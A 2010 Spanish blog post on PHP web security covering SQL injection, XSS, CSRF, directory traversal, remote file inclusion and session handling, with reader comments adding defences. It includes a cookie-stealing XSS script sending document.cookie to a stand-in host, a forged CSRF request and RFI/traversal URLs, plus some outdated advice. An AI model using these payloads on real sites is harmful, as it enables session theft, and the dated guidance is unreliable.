25 abril 2010

Seguridad en PHP

Escribir aplicaciones PHP no es extremadamente difícil. Pero muchos olvidan los aspectos de seguridad que deben ser tenidos en cuenta al implementar estas aplicaciones.

A veces no se piensa en el daño que puede sufrir un sitio web hasta que ya es demasiado tarde.

Se debe empezar a diseñar con cabeza y no ser meros robots codificando. Veamos un poco más a fondo las posibles amenazas y recomendaciones para hacer que nuestro sitio web sea un poco más seguro.

Inyección SQL

Este ataque se produce cuando un atacante ejecuta sentencias SQL en la base de datos del sitio web, insertando en un campo del formulario sentencias SQL dentro de otra sentencia SQL haciendo que se ejecute la sentencia invasora.

Se recomienda:
  • Filtrar los datos. Por ejemplo, si tenemos en nuestro formulario el campo username, y sabemos que los usuarios sólo pueden estar compuestos por letras y números, no se deben permitir caracteres como " ' " o " = " . O si se trata del campo e-mail, podemos utilizar expresiones regulares para validarlo, como preg_match('/^.+@.+\..{2,3}$/',$_POST['email'])
  • Usar funciones que escapan caracteres especiales de una cadena para su uso en una sentencia SQL, como mysql_real_escape_string(), la cual coloca barras invertidas antes de los siguientes caracteres: \x00, \n, \r, \, ', " y \x1a. O addslashes(), (la directiva de PHP magic_quotes_gpc está activada por defecto, y básicamente ejecuta la función addslashes() en todos los datos GET, POST, y COOKIE. No se debe utilizar addslashes() en las cadenas que ya se han escapado con magic_quotes_gpc ya que se hará un doble escape).

XSS (Cross Site Scripting)


Las vulnerabilidades de XSS permiten ejecutar código de scripting en el contexto del sitio web:
  • Explotando la confianza que tiene un usuario de un sitio web. Puede que los usuarios no tengan un alto nivel de confianza en un sitio web, pero sí el navegador. Por ejemplo, cuando el navegador envía cookies en una petición.
  • Haciendo que los sitios web muestren datos externos. Como aplicaciones de mayor riesgo que incluyen foros, clientes de correo web, o contenido de RSS.
  • Cuando los datos externos no se filtran adecuadamente un atacante puede inyectar un contenido. Esto es tan peligroso como dejar que el atacante edite código en el servidor.
Un usuario que ejecute este código con JavaScript activado en su navegador será redireccionado a evil.example.org, y las cookies asociadas al sitio web serán incluidas en la consulta:

<script>document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie</script>

Se recomienda:
  • Filtrar todos los datos externos. El filtrado de datos es la práctica más importante que se puede adoptar. Al validar todos los datos externos a medida que entran y salen de la aplicación se mitigarán la mayoría de las preocupaciones del XSS.
  • Utilizar las funciones que tiene PHP que ayudan al filtrado. Pueden ser útiles htmlentities () que convierte caracteres a entidades HTML, strip_tags () que elimina las etiquetas HTML y PHP de una cadena y utf8_decode ().
  • Basarse en listas blancas. Supongamos que los datos no son válidos hasta que no se pruebe que lo son. Esto implica verificar la longitud y asegurar que sólo los caracteres válidos son permitidos. Por ejemplo, si se inserta el nombre y apellidos, se debe asegurar que sólo se permiten letras y espacios. Por ejemplo Berners-Lee se consideraría nula, pero esto se puede arreglar añadiendo este nombre a la lista blanca. Es mejor rechazar datos válidos que aceptar datos maliciosos.
  • Utilizar una convención de nomenclatura estricta. Una convención de nomenclatura puede ayudar a los desarrolladores a distinguir entre datos filtrados y sin filtrar.

CSRF (Cross Site Request Forgery)

Explota la confianza que tiene un sitio web en la identidad de un usuario.

Un ejemplo sería enviar los siguientes datos en la petición:

GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1
Host: stocks.example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234

Se recomienda:
  • Utilizar POST en lugar de GET en los formularios. Sobre todo cuando se esté realizando una acción que involucra una compra.
  • Utilizar $_POST en lugar de confiar en register_globals. Utilizar el método POST es inútil si se confía en register_globals y se referencian variables como $symbol o $quantity. Lo mismo sucede si se utiliza $_REQUEST.
  • Generar un token único para cada petición y verificarlo posteriormente.

Directory Traversal

Este ataque se produce cuando se especifican rutas de ficheros como "../../../../file" en los datos del formulario y mediante un script se llama a estos ficheros. Proporcionando a un atacante la posibilidad de realizar cambios en el sistema de ficheros.


Si dentro del script de PHP se incluye: require $page . '.php'; Sabiendo que esta página se almacena en /home/someone/public_html/index.php, un atacante podría hacer index.php?page=../secret accediendo a /home/someone/secret.php

Se recomienda:
  • Tener un array de páginas válidas.
  • Comprobar que el archivo solicitado coincide con un formato concreto.

RFI (Remote File Inclusion)


Como su nombre indica, se produce cuando se incluye un archivo remoto.

Por ejemplo, si existe un archivo en la ruta http://example.com/malice.php y nuestro script se encuentra en http://site.com/index.php. Un atacante puede hacer esta petición: http://site.com/index.php?page=http://example.com/malice lo que provocará que el archivo se ejecute y escriba un nuevo fichero en disco. Pudiendo ser este fichero una shell que permita la ejecución de comandos.

O por ejemplo, asignar a page el valor http://example.com/malice.php? seguido de una consulta a base de datos.

Se recomienda:
  • No confiar en los datos que no provengan de nuestro sistema.
  • Se deben validar los datos que introduce el usuario.

Seguridad en sesiones


Las sesiones y las cookies pueden ser usadas para comprometer las cuentas de los usuarios. Cuando se almacena una cookie en el ordenador esta puede ser modificada por el usuario.

Se recomienda:
  • Cambiar el identificador de la sesión a menudo. Utilizando la función session_regenerate_id() se reduce la posibilidad de que el identificador sea interceptado.
  • Usando versiones PHP5.2 o posteriores se puede denegar al Javascript del navegador el acceso a la cookie activando el flag httponly.
Esta es una pequeña muestra de recomendaciones que hará que nuestra aplicación PHP sea algo más segura.

[+] PHP Security Consortium
[+] PHP Freaks
[+] PHP Security & SQL Security. Acunetix

15 comments :

Anónimo dijo...

Buenas,

El CSRF *no* se soluciona usando peticiones POST, es solo una medida mitigante.

La solución es generar un token único para cada petición del navegador. Asi se puede verificar si la peticion es genuina o no.

Slds,

Anónimo dijo...

@Anonimo: Olvidé lo del token, gracias por recordádmelo. Añadido.

Saludos

globalillo dijo...

Buenas, en temas de SQLi nunca hay que olvidar las "prepared statements", no sea que la cagues con las regexp... algo muy común. En el apartado sobre RFI -creo que- solo expones la casuística de los includes, para abordar la subida de ficheros mediante formularios html tendríamos que comprobar, sobre todo, las extensiones de ficheros que permitimos subir, el tamaño de los mismos y sobre todo, nunca, nunca, nunca permitir subir ficheros con extensiones php, php4, php5, etc. (A no ser que sepas configurar `bien` el servidor web).

Y aunque no es cosa de PHP, en CSFR, algo que antes se usaba mucho pero "no funcionaba" y ahora "funciona", es comprobar la cabezera HTTP referer. Antes desde xmlhttprequest se permitía modificar la cabecera referer, cosa que ahora no sucede. ¿Alguien puede aportar datos más precisos sobre los navegadores actuales?

Saludos y gracias por un artículo técnico en Domingo :)

Anónimo dijo...

@globalillo: gracias por tu aportación! :)

Saludos

rusty dijo...

Alguien de la EUI tecnica (creo) me definio en tres palabras lo que era php. "Podria hacerlo peor" :P

admin dijo...

hola,

En el caso de XSS y el robo de cookies, tal vez usar el flag httponly en las cookies podría evitar su robo.

http://www.owasp.org/index.php/HTTPOnly

Un saludo y gracias por el post

jandr dijo...

Con demasiada frecuencia, cuando se comprueba que el fichero que el usuario "sube" es del tipo adecuado, se lleva a cabo este filtrado en base a la extensión del fichero. Un usuario malintencionado cambiará la extensión del fichero a subir por una de las extensiones permitidas.

En algunos casos, incluso se llega a analizar el tipo MIME que se indica en el formulario, pero con un proxy intermedio es fácil modificar este valor.

La recomendación más segura sería realizar una verificación en el lado del servidor de que el tipo MIME del fichero subido pertenece a los tipos permitidos.

Desde luego, la comprobación previa en el lado del cliente siempre aporta una comodidad para los usuarios, puesto que no han de esperar hasta que el fichero se ha subido completamente para ser informados de que el tipo del fichero no está permitido. Sin embargo, nunca ha de confiarse únicamente en esta comprobación en el navegador del usuario.

Alrik dijo...

PHP es un lenguaje sólido y cómodo de manejar. A nivel de seguridad está muy logrado. El problema es como ya se ha dicho el tema del diseño. Lo que prima hoy día es la rapidez, bueno, bonito y barato. ¿Tan difícil es de entender que si lo haces rápido, mal y que no haya diseño ni análisis previo eso será un coladero de errores, hackers y demás fauna?.

La solución suele ser rehacer módulos enteros por ese tipo de motivos. Normalmente los proyectos en los que me ha pasado esto es currando contratado por una empresa a X al mes.

Sin embargo si el cliente lo gestiono yo la cosa es distinta, más calidad, mejores proyectos y al mismo precio o menos en algunos casos.

Unknown dijo...

CSRF..

habéis quitado la parte de ejemplo del código del token único para cada petición para posteriormente verificarlo.

Anónimo dijo...

@iCesofT: lo tienes en los links que referencio abajo.

Saludos para ti y para todo el equipo ;)

Anónimo dijo...

Muy buen post! Me encantan los mensajes enfocados a la seguridad PHP y programacion web en general. Se agradece mucho :)

g30rg3_x dijo...

Esta bastante pobre la entrada, los ataques mencionados no solo aplican en PHP si no en general a toda aplicación web.

Creo que les hizo falta mencionar las configuraciones que pudieran asegurar un poco mas PHP, ejemplo en RFI nunca mencionaron sobre la directiva allow_url_include (ni allow_url_fopen que también juega su papel) que si bien no lo evitan si al menos limitan el impacto de un RFI (convirtiéndolo normalmente en un LFI).
También que se debe mantener apagado enable_dl para evitar el cargado dinámico de extensiones maliciosas y tampoco se hablo sobre que se debería apagar display_errors en el servidor de producción y es mejor guardarlos en un fichero no-accesible al publico, así como otras directivas que si bien no son muy seguras o bien específicamente para seguridad pero si ayudan a volver difícil una explotación como seria open_basedir.

Eso mas las típicas recomendaciones que ya diste y al menos una breve platica sobre Suhosin hubieran sido perfectas con el titulo, así como esta la nota esta muy genérica y si coincido con el primer anónimo, El uso de POST no es una medida mitigatoria se debería quitar como recomendación y solo recomendar/enseñar-sobre una implementación de tokens únicos seguros (por que no olvidemos los problemas relacionados de esta área con la aleatoriedad de los "tokens únicos").

Saludos

Miguel Carmona dijo...

Creo que nadie da el consejo de utilizar algún framework (como codeIgniter por ejemplo). Suelen solucionarse algunos problemas.

Por supuesto, yo aconsejo mantener los máximos archivos posibles fuera del directorio público de nuestro servidor http; por ejemplo, si tenemos la estructura:
./publichtml
./internal
Nuestro apache estaría configurado para leer en ./publichtml, por lo que podríamos tener todos los scripts necesarios en ./internal y sólo un index.php en ./publichtml.

Así evitaríamos intentos de accesos no autorizados a determinados scripts.

Por supuesto, esto simplemente es un añadido de seguridad. Hay que seguir comprobando en cada momento que datos se reciben, de quien y qué enviar...

Si no se confía las llaves de tu casa a un colega de una noche, no confíes en un usuario de unos minutos por muy buenas intenciones que aparente tener...

droope dijo...

@globalillo: hablando de petarla con las expresiones regulares,

dejo este link que tiene mas información al respecto.

http://go2.wordpress.com/?id=725X1342&site=droope.wordpress.com&url=http%3A%2F%2Fwebsec.wordpress.com%2F2010%2F03%2F19%2Fexploiting-hard-filtered-sql-injections%2F&sref=http%3A%2F%2Fdroope.wordpress.com%2F

mgesteiro dijo...

estaba leyendo info sobre utf8_decode() y he acabado por aquí otra vez :)

acabo de comprobar que el uso de esta función puede perjudicar más que ayudar si no se emplea correctamente...

se pueden ver en este gran artículo de sirdarckcat los problemas.

happy hacking!